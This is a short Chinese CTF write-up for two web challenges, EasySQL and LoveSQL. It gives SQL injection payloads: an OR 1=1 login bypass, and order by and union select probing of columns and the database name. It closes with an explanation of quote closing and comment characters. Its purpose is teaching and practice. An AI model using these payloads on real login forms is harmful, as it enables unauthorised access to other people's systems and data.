EasySQL
简简简简单单单单SQL
- 尝试:
?username=admin%27+OR+1%3D1±-+&password=1
报错:# You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘1’’ at line 1
分析:1‘
左边差一个单引号 - 输入正确payload:
?username=admin%27+OR+1%3D1±-+&password=%271
成功:
LoveSQL
简简简单单单SQL
- ?username=admin%27+OR+1%3D1±-+&password=%27
这个MD5解不出来,是烟雾弹?!- 尝试SQL注入: 尝试在username参数上使用union select查询
?username=admin' order by 3 -- -&password=123(order by 4时候报错,3列)?username=admin' union select 1,2,3 -- -&password=123(2,3)?username=admin' union select 1,database(),3 -- -&password=123- ……
- 基本查询操作之后得到flag
知识点
SQL注入原理简要说明
SQL注入是一种常见的Web安全漏洞,攻击者通过在用户输入中插入恶意SQL代码,欺骗后端数据库执行非预期的SQL命令。理解SQL注入的关键在于掌握单引号闭合和注释符的作用。
单引号闭合原理
在SQL查询中,字符串值通常用单引号包裹,例如:
SELECT*FROMusersWHEREusername='admin'ANDpassword='123'如果用户输入admin' OR 1=1 --,查询语句会变成:
SELECT*FROMusersWHEREusername='admin'OR1=1-- ' AND password = '123'这里的'用于闭合原本包裹用户名的前单引号,使OR 1=1成为查询条件的一部分。
注释符的作用
--(或#)是SQL中的单行注释符,它会注释掉其后的所有内容。在上面的例子中,--注释掉了原本的' AND password = '123'部分,使得密码验证条件失效。
Payload构造逻辑
理解了这两个原理,就能明白为什么常见的SQL注入payload这样构造:
admin' OR 1=1 --:用'闭合前单引号,添加永真条件OR 1=1,再用--注释掉后续查询admin' --:用'闭合前单引号,直接注释掉密码验证部分
这种构造方式可以绕过原本的身份验证逻辑,实现未授权访问。